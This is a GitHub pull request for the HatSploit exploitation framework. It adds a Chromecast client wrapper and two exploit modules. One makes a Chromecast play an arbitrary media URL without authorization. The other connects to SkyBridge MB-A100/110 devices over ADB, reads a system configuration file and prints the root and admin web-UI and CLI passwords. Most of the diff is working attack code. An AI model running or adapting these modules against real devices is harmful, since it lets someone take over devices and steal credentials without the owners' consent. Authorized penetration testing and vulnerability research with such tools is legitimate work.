Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add ChromeCast module #105

Merged
merged 3 commits into from
Oct 1, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions hatsploit/__main__.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,13 +105,13 @@ def initialize(self, silent: bool = False) -> bool:
:return bool: True if success else False
"""

if not self.policy():
return False

if self.runtime.catch(self.runtime.check) is Exception \
and not self.policy():
return False

if not self.policy():
return False

build = False

if not self.builder.check_base_built():
Expand Down
1 change: 1 addition & 0 deletions hatsploit/lib/module/proto/__init__.py
Original file line number Diff line number Diff line change
Expand Up @@ -30,3 +30,4 @@
from hatsploit.lib.module.proto.udp import UDP
from hatsploit.lib.module.proto.stream import Stream
from hatsploit.lib.module.proto.snmp import SNMP
from hatsploit.lib.module.proto.chromecast import Chromecast
52 changes: 52 additions & 0 deletions hatsploit/lib/module/proto/chromecast.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
"""
MIT License

Copyright (c) 2020-2023 EntySec

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
"""

from pex.proto.chromecast import ChromecastClient
from hatsploit.lib.option import *


class Chromecast(object):
""" Subclass of hatsploit.lib.module.proto module.

This subclass of hatsploit.lib.module.proto module is a representation
of a wrapper of Chromecast client for a module.
"""

def __init__(self) -> None:
super().__init__()

self.host = IPv4Option(None, "Chromecast host.", True)
self.port = PortOption(8009, "Chromecast port.", True)

def open_chromecast(self) -> ChromecastClient:
""" Open Chromecast client.

:return ChromecastClient: Chromecast client
"""

return ChromecastClient(
host=self.host.value,
port=self.port.value
)

36 changes: 36 additions & 0 deletions hatsploit/modules/exploit/linux/chromecast/play_media_url.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
"""
This module requires HatSploit: https://hatsploit.com
Current source: https://github.com/EntySec/HatSploit
"""

import re

from hatsploit.lib.module.basic import *
from hatsploit.lib.module.proto import Chromecast


class HatSploitModule(Module, HTTP):
def __init__(self):
super().__init__()

self.details.update({
'Category': "exploit",
'Name': "Play Media URL on Chromecast",
'Module': "exploit/linux/chromecast/play_media_url",
'Authors': [
'Ivan Nikolsky (enty8080) - module developer'
],
'Description': "Chromecast allows unauthorized users to play media URL.",
'Platform': "linux",
'Rank': "low",
})

self.url = Option(None, "Media URL.", True)
self.type = Option("video/mp4", "Type of media file.", True)

def run(self):
client = self.open_chromecast()
client.connect()

client.play_media(self.url.value, self.type.value)
client.disconnect()
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
"""
This module requires HatSploit: https://hatsploit.com
Current source: https://github.com/EntySec/HatSploit
"""

from hatsploit.lib.module.basic import *
from hatsploit.lib.module.proto import ADB


class HatSploitModule(Module, ADB):
def __init__(self):
super().__init__()

self.details.update({
'Category': "exploit",
'Name': "SkyBridge MB-A100/110 Credentials Disclosure",
'Module': "exploit/linux/skybridge/credentials_disclosure",
'Authors': [
'Ivan Nikolsky (enty8080) - module developer',
],
'Description': "SkyBridge MB-A100/110 firmware <= 4.2.0 credentials disclosure.",
'Platform': "linux",
'Rank': "high",
})

self.port.visible = False
self.host.description = "SkyBridge host."

def run(self):
client = self.open_adb()
client.connect()

try:
config = client.send_command('cat /config/current/system.conf')
config = config.split('\r\n')

creds = []
for conf in config:
conf = conf.split('=')

if len(conf) == 2:
if conf[0] == 'WEBUI_ROOT_PASSWORD':
creds.append(('webui', 'root', conf[1]))

elif conf[0] == 'WEBUI_ADMIN_PASSWORD':
creds.append(('webui', 'admin', conf[1]))

elif conf[0] == 'CLI_ROOT_PASSWORD':
creds.append(('cli', 'root', conf[1]))

elif conf[0] == 'CLI_ADMIN_PASSWORD':
creds.append(('cli', 'admin', conf[1]))

if creds:
self.print_table("Credentials", ('Login', 'Username', 'Password'), *creds)
else:
self.print_warning("Target vulnerable, but no credentials found.")

except Exception:
self.print_warning("Target vulnerable, but no credentials found.")